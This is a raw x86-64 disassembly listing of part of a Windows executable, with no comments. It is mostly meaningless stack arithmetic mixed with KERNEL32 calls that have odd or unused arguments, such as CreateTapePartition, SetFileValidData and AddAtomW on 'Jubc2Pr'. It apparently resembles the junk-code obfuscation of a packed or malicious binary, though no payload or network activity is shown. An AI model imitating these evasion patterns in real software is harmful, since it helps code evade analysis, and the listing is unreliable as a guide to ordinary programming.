sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12800]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x36d]
movsx ecx, byte [rsp + 0x598]
sub eax, ecx
mov byte [rsp + 0x549], al
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x10f18]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x11420], rax
mov rax, qword [rsp + 0x12890]
mov rcx, qword [0x1402c4180]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x928c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402c4188], eax
lea rcx, [rsp + 0x28338]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [rsp + 0x8d74]
mov ecx, dword [rsp + 0x9230]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9220], eax
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [rsp + 0x2be4]
add eax, ecx
mov word [rsp + 0x2010], ax
lea rdx, [rsp + 0x12838]
mov rcx, qword [rsp + 0x127b8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x929c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [0x14027d37c]
and eax, ecx
mov word [rsp + 0x2800], ax
lea rdx, [rsp + 0x128a0]
mov rcx, qword [rsp + 0x127e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x923c], eax
movzx eax, byte [rsp + 0x59a]
movzx ecx, byte [rsp + 0x595]
shl eax, cl
mov byte [rsp + 0x599], al
mov rcx, qword [rsp + 0x12888]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x9240], eax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127d0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x128c8], rax
mov rax, qword [rsp + 0x10f18]
mov rcx, qword [rsp + 0x11420]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12800]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2be4]
movzx ecx, word [rsp + 0x2bd8]
sar eax, cl
mov word [rsp + 0x1268], ax
jmp 0x14001b3df
movzx eax, byte [0x14027d039]
mov byte [rsp + 0x92a0], al
cmp byte [rsp + 0x92a0], 0xa
je 0x14001b8dd
jmp 0x14001b950
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0x7c70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x928c], eax
mov eax, dword [rsp + 0x91dc]
mov ecx, dword [rsp + 0x91fc]
sub ecx, eax
mov eax, ecx
mov dword [0x14027d378], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x92a4], eax
movzx eax, byte [rsp + 0x596]
mov byte [rsp + 0x20], al
mov r9d, dword [rsp + 0x91dc]
movzx r8d, byte [rsp + 0x596]
movzx edx, byte [rsp + 0x549]
mov ecx, dword [0x14027d378]
call fcn.140231ac0
jmp 0x14001ba28
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [0x1402c4180]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x12890], rax
movzx eax, byte [rsp + 0x36d]
mov byte [rsp + 0x92a8], al
cmp byte [rsp + 0x92a8], 0x2c
je 0x14001b9f1
cmp byte [rsp + 0x92a8], 0x2e
je 0x14001b995
jmp 0x14001ba28
movzx eax, byte [rsp + 0x59b]
movzx ecx, byte [rsp + 0x599]
sub eax, ecx
mov byte [rsp + 0x596], al
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bc8], ax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x12898]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x128c8], rax
jmp 0x14001ba28
movzx eax, byte [rsp + 0x36d]
mov byte [rsp + 0x59c], al
lea rdx, [rsp + 0x12838]
mov rcx, qword [rsp + 0x128d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x9234], eax
mov dword [rsp + 0x92ac], 0xeb2
movsx eax, word [rsp + 0x2bc0]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bdc], ax
cmp dword [rsp + 0x9258], 0xcdae
jae 0x14001bdab
movzx eax, word [rsp + 0x2010]
movzx ecx, word [rsp + 0x2bd8]
sub eax, ecx
mov word [rsp + 0x2be4], ax
mov eax, dword [rsp + 0x928c]
mov ecx, dword [rsp + 0x91e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9200], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12810]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1402c4180], rax
mov eax, dword [0x14027d378]
mov ecx, dword [rsp + 0x91fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x91dc], eax
movzx eax, byte [rsp + 0x595]
movzx ecx, byte [rsp + 0x597]
xor eax, ecx
mov byte [rsp + 0x596], al
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
movsx ecx, word [0x14027d37c]
shl eax, cl
mov word [rsp + 0x2800], ax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12890]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x9258]
add eax, 0xe3
mov dword [rsp + 0x9258], eax
movsx eax, word [rsp + 0x2800]
movsx ecx, word [0x14027d37c]
sar eax, cl
mov rcx, qword [rsp + 0x128a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x128c8]
mov rcx, qword [rsp + 0x127d0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10f18], rax
mov edx, 0x2e3877
mov rcx, qword [rsp + 0x128d8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x923c], eax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x10f18]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x127d0], rax
lea rcx, [rsp + 0x29860]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127d8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x12890], rax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9200]
and ecx, eax
mov eax, ecx
mov dword [0x1402c4188], eax
mov eax, dword [rsp + 0x8d74]
mov ecx, dword [rsp + 0x91dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9220], eax
movsx eax, word [rsp + 0x2bdc]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bc0], ax
movzx eax, word [rsp + 0x2010]
movzx ecx, word [rsp + 0x2ac0]
add eax, ecx
mov word [rsp + 0x1268], ax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x25b8]
sub eax, ecx
mov rcx, qword [rsp + 0x12858]
mov word [rcx], ax
movzx eax, byte [rsp + 0x596]
movzx ecx, byte [rsp + 0x59a]
sub eax, ecx
mov byte [rsp + 0x599], al
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x128c8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x11420], rax
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [rsp + 0x2be4]
shl eax, cl
mov word [rsp + 0x1268], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0x12890]
mov rcx, qword [rsp + 0x127f8]
mov qword [rsp + 0x128f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x128f8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x127c0], rax
mov eax, dword [rsp + 0x8d74]
mov ecx, dword [rsp + 0x9230]
xor ecx, eax
mov eax, ecx
mov dword [0x14027d378], eax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7c70], eax
lea rcx, str.Jubc2Pr
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2bd4], ax
movzx eax, byte [0x14027d039]
movzx ecx, byte [rsp + 0x596]
add eax, ecx
mov byte [rsp + 0x597], al
movsx eax, word [rsp + 0x1d4c]
movsx ecx, word [rsp + 0x2bc0]
sub eax, ecx
mov word [rsp + 0x2800], ax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x10f18]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127d0], rax
movzx eax, byte [rsp + 0x599]
movzx ecx, byte [rsp + 0x596]
sub eax, ecx
mov byte [rsp + 0x595], al
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [rsp + 0x2be4]
and eax, ecx
mov word [rsp + 0x2bd8], ax
jmp 0x14001ba45
mov eax, dword [0x1402c4188]
mov dword [rsp + 0x92b0], eax
cmp dword [rsp + 0x92b0], 0
je 0x14001bdc7
jmp 0x14001be7e
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bdc]
add eax, ecx
mov word [rsp + 0x2bc0], ax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xefa8], rax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x928c]
sub ecx, eax
mov eax, ecx
mov dword [0x14027d384], eax
mov dword [rsp + 0x92b4], 0x8eb5
mov eax, dword [rsp + 0x9220]
mov ecx, dword [rsp + 0x9230]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x91fc], eax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov dword [rsp + 0x92b8], eax
movsx eax, byte [rsp + 0x549]
movsx ecx, byte [rsp + 0x598]
cdq
idiv ecx
mov byte [rsp + 0x59c], al
movzx eax, word [rsp + 0x2ac0]
mov word [rsp + 0x2be8], ax
jmp 0x14001bede
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x7c70]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12868]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0xd2
lea rax, [rsp + 0x12890]
mov qword [rsp + 0x20], rax
mov r9d, SHUpdateImageW
lea r8, [rsp + 0x2800]
mov edx, 0x23
mov rcx, qword [rsp + 0x12900]
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov qword [rsp + 0x12908], rax
call fcn.140231b50
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov dword [rsp + 0x92bc], eax
cmp dword [rsp + 0x92bc], 0
je 0x14001bf0f
cmp dword [rsp + 0x92bc], 0x4702
je 0x14001c057
jmp 0x14001c071
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x25b8]
or eax, ecx
mov word [rsp + 0x2bc0], ax
movzx eax, byte [rsp + 0x59a]
movzx ecx, byte [rsp + 0x597]
sar eax, cl
movzx ecx, byte [rsp + 0x599]
mov dword [rsp + 0x92c0], ecx
movzx edx, byte [rsp + 0x595]
movzx ecx, dl
mov edx, dword [rsp + 0x92c0]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14001bffe
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x12898]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127d0], rax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x128c8], rax
mov eax, dword [rsp + 0x92a4]
mov ecx, dword [rsp + 0x91fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9230], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12890]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1402c4180], rax
mov eax, dword [rsp + 0x928c]
mov ecx, dword [rsp + 0x91e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9200], eax
jmp 0x14001c04a
movzx eax, byte [rsp + 0x59a]
movzx ecx, byte [rsp + 0x59b]
imul eax, ecx
movzx ecx, byte [rsp + 0x596]
movzx edx, byte [rsp + 0x597]
and ecx, edx
cmp eax, ecx
jne 0x14001c04a
mov r8d, ILClone
lea rdx, [rsp + 0x2bc4]
lea rcx, [rsp + 0x91e8]
call qword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
mov dword [rsp + 0x9288], eax
mov dword [rsp + 0x92c4], 0x782d
jmp 0x14001c071
movzx eax, word [rsp + 0x1268]
movzx ecx, word [rsp + 0x2ac0]
and eax, ecx
mov word [rsp + 0x2bd8], ax
movsx eax, word [rsp + 0x2bc4]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2bc8], ax
movzx eax, byte [rsp + 0x59a]
movzx ecx, byte [rsp + 0x59b]
add eax, ecx
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x11420]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10f18], rax
mov rax, qword [rsp + 0x128c8]
mov rcx, qword [rsp + 0x10f18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x11420], rax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x12858]
mov word [rcx], ax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12868]
mov dword [rcx], eax
mov rax, qword [rsp + 0x127d8]
movzx ecx, al
mov rax, qword [rsp + 0xefa8]
shr rax, cl
mov qword [0x1402c4180], rax
movsx eax, byte [rsp + 0x59c]
movsx ecx, byte [rsp + 0x598]
shl eax, cl
mov byte [rsp + 0x549], al
mov eax, dword [rsp + 0x9230]
mov ecx, dword [rsp + 0x91fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x91dc], eax
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [0x14027d380]
add eax, ecx
mov word [rsp + 0x1268], ax
movsx eax, word [rsp + 0x2be0]
movsx ecx, word [rsp + 0x25b8]
sub eax, ecx
mov word [rsp + 0x1d4c], ax
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [rsp + 0x2bd8]
add eax, ecx
mov word [rsp + 0x2be8], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3b99
mov r9d, 0x172d
mov r8d, 0x20b995c0
mov edx, 1
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9244], eax
movzx eax, byte [rsp + 0x597]
movzx ecx, byte [rsp + 0x596]
add eax, ecx
mov byte [rsp + 0x599], al
mov rax, qword [rsp + 0x12810]
mov rcx, qword [rsp + 0x12890]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x9200]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x928c], eax
mov eax, dword [rsp + 0x9230]
mov ecx, dword [rsp + 0x92a4]
and ecx, eax
mov eax, ecx
mov dword [0x14027d378], eax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12890]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xefa8], rax
lea rdx, [rsp + 0x12838]
mov rcx, qword [rsp + 0x128d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x92c8], eax
mov rax, qword [rsp + 0x127d8]
mov rcx, qword [rsp + 0xefa8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
mov rax, qword [0x1402c4178]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2be0], ax
movzx eax, word [rsp + 0x2be8]
movzx ecx, word [rsp + 0x2010]
shl eax, cl
mov word [rsp + 0x1268], ax
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x9238], eax
mov rcx, qword [rsp + 0x12888]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x9234], eax
lea rdx, [rsp + 0x12910]
mov rcx, qword [rsp + 0x128d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x926c], eax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x128c8], rax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127d0], rax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x128c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10f18], rax
mov rcx, qword [rsp + 0x12888]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x9244], eax
movzx eax, byte [rsp + 0x59a]
movzx ecx, byte [rsp + 0x599]
sub eax, ecx
mov byte [rsp + 0xb5], al
movsx eax, byte [rsp + 0x598]
movsx ecx, byte [rsp + 0x549]
add eax, ecx
mov byte [0x1402c418c], al
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x92b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
mov eax, dword [rsp + 0x92b4]
sub eax, 0x10
mov dword [rsp + 0x92b4], eax
lea rdx, [rsp + 0x128a0]
mov rcx, qword [rsp + 0x128d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x9250], eax
mov rax, qword [rsp + 0x127c0]
mov rcx, qword [rsp + 0x12810]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12890], rax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
mov rcx, qword [0x1402c4178]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x128a8]
mov word [rcx], ax
lea rdx, [rsp + 0x2d848]
mov rcx, qword [rsp + 0x127b8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x929c], eax
movzx eax, word [rsp + 0x1268]
movzx ecx, word [rsp + 0x2ac0]
add eax, ecx
mov word [rsp + 0x2010], ax
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bdc]
sub eax, ecx
mov rcx, qword [rsp + 0x128a8]
mov word [rcx], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x3b99
mov r8d, 0x172d
mov edx, 0xa2
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9254], eax
movzx eax, byte [0x14027d039]
movzx ecx, byte [rsp + 0x597]
and eax, ecx
mov byte [rsp + 0x59a], al
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bdc]
or eax, ecx
mov word [rsp + 0x1d4c], ax
movzx eax, word [rsp + 0x1268]
movzx ecx, word [rsp + 0x2010]
shl eax, cl
mov word [rsp + 0x2bd8], ax
mov rax, qword [rsp + 0x12810]
mov rcx, qword [rsp + 0xefa8]
xor rcx, rax
mov rax, rcx
mov qword [0x1402c4180], rax
mov eax, dword [rsp + 0x9220]
movzx ecx, al
mov eax, dword [rsp + 0x92a4]
shr eax, cl
mov dword [rsp + 0x9230], eax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x928c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c70], eax
mov rax, qword [rsp + 0x11420]
mov rcx, qword [rsp + 0x128c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10f18], rax
movzx ecx, word [rsp + 0x2bd4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bcc], ax
cmp dword [rsp + 0x92b4], 0x8bc5
jae 0x14001c0c9
movzx eax, word [rsp + 0x2be8]
mov word [rsp + 0x2bec], ax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12890]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x1402c4180]
mov rdx, qword [rsp + 0x12810]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14001c744
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2be0]
add eax, ecx
mov word [rsp + 0x2bc8], ax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0xefa8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x549]
movsx ecx, byte [rsp + 0x598]
sub eax, ecx
mov byte [rsp + 0x36d], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x127e0], rax
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x128c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10f18], rax
mov eax, dword [rsp + 0x92a4]
mov ecx, dword [rsp + 0x91fc]
add ecx, eax
mov eax, ecx
mov dword [0x14027d378], eax
mov eax, dword [rsp + 0x7c70]
mov rcx, qword [rsp + 0x12868]
mov qword [rsp + 0x12918], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12918]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x127c0]
mov rcx, qword [rsp + 0x127f8]
mov qword [rsp + 0x12920], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12920]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x12810], rax
movsx eax, word [rsp + 0x2800]
movsx ecx, word [rsp + 0x2bc0]
xor eax, ecx
mov word [rsp + 0x2bdc], ax
jmp 0x14001c7f1
mov eax, dword [rsp + 0x8d74]
mov ecx, dword [rsp + 0x9220]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x91dc]
mov edx, dword [0x14027d378]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14001c7f1
lea rax, [rsp + 0x2ac0]
mov qword [rsp + 0x12928], rax
movzx eax, byte [rsp + 0xb5]
movzx ecx, byte [rsp + 0x599]
or eax, ecx
mov byte [rsp + 0x597], al
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x127d0], rax
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov qword [rsp + 0x12930], rax
mov dword [rsp + 0x92cc], 0x8d4d
movzx eax, byte [rsp + 0x599]
movzx ecx, byte [rsp + 0x59a]
imul eax, ecx
mov byte [rsp + 0x59b], al
cmp dword [rsp + 0x9278], 0x568b
ja 0x14001cabd
movsx eax, word [rsp + 0x2bc0]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402c4178]
mov word [rcx], ax
mov eax, dword [rsp + 0x92a4]
mov ecx, dword [rsp + 0x9220]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x91dc], eax
mov rax, qword [rsp + 0xefa8]
mov rcx, qword [rsp + 0x127d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x12890], rax
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [rsp + 0x2bec]
sub eax, ecx
mov rcx, qword [rsp + 0x12928]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
xor r9d, r9d
lea r8, [rsp + 0x12848]
mov rdx, qword [rsp + 0x12938]
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x923c], eax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bdc], ax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [0x14027d370]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x12800]
mov qword [rcx], rax
mov eax, dword [rsp + 0x9278]
add eax, 0x50
mov dword [rsp + 0x9278], eax
lea rdx, [rsp + 0x128a0]
mov rcx, qword [rsp + 0x12888]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x929c], eax
movsx eax, byte [rsp + 0x36d]
movsx ecx, byte [rsp + 0x598]
sub eax, ecx
mov byte [rsp + 0x549], al
movzx eax, word [rsp + 0x2be8]
movzx ecx, word [rsp + 0x2ac0]
sub eax, ecx
mov word [rsp + 0x2be4], ax
movzx eax, byte [rsp + 0x597]
movzx ecx, byte [rsp + 0x599]
or eax, ecx
mov byte [rsp + 0x595], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov eax, dword [rsp + 0x9230]
movzx ecx, al
mov eax, dword [rsp + 0x92a4]
shr eax, cl
mov dword [0x14027d378], eax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x7c70]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x92b8], eax
mov rax, qword [rsp + 0x127c0]
mov rcx, qword [rsp + 0x127f8]
mov qword [rsp + 0x12940], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12940]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xefa8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xcba
mov r9d, 0x3246
mov r8d, 0x3d4e2782
mov edx, 2
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9234], eax
movsx eax, word [rsp + 0x1d4c]
movsx ecx, word [rsp + 0x25b8]
and eax, ecx
mov word [rsp + 0x2bc0], ax
movzx eax, byte [rsp + 0x59a]
movzx ecx, byte [rsp + 0x59b]
sub eax, ecx
mov byte [rsp + 0x595], al
movsx eax, word [rsp + 0x2bc4]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x25b8], ax
movzx eax, word [rsp + 0x2bd8]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2be4], ax
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12930]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x128c8], rax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12930]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12898]
mov qword [rcx], rax
jmp 0x14001c7f1
lea rax, [rsp + 0x12810]
mov qword [0x1402c4170], rax
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12800]
mov rdx, qword [rsp + 0x12930]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jne 0x140230f88
movzx eax, byte [rsp + 0x596]
mov byte [rsp + 0x59d], al
mov dword [rsp + 0x92d0], 0x4ed8
movsx eax, byte [rsp + 0x36d]
movsx ecx, byte [rsp + 0x549]
shl eax, cl
mov byte [rsp + 0x59c], al
movzx eax, word [0x14027d380]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2bec], ax
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10f18]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x113d8], rax
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov qword [rsp + 0x12948], rax
cmp qword [rsp + 0x12948], 0
je 0x14001cbaf
movabs rax, 0x70a9c5b25f94cd
cmp qword [rsp + 0x12948], rax
je 0x14001cc5d
jmp 0x14001cc82
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [0x14027d370]
mov qword [0x1402c4168], rax
lea rax, [rsp + 0xb5]
mov qword [rsp + 0x12950], rax
lea rax, [rsp + 0x9230]
mov qword [rsp + 0x12958], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x12960], rax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [0x1402c4170]
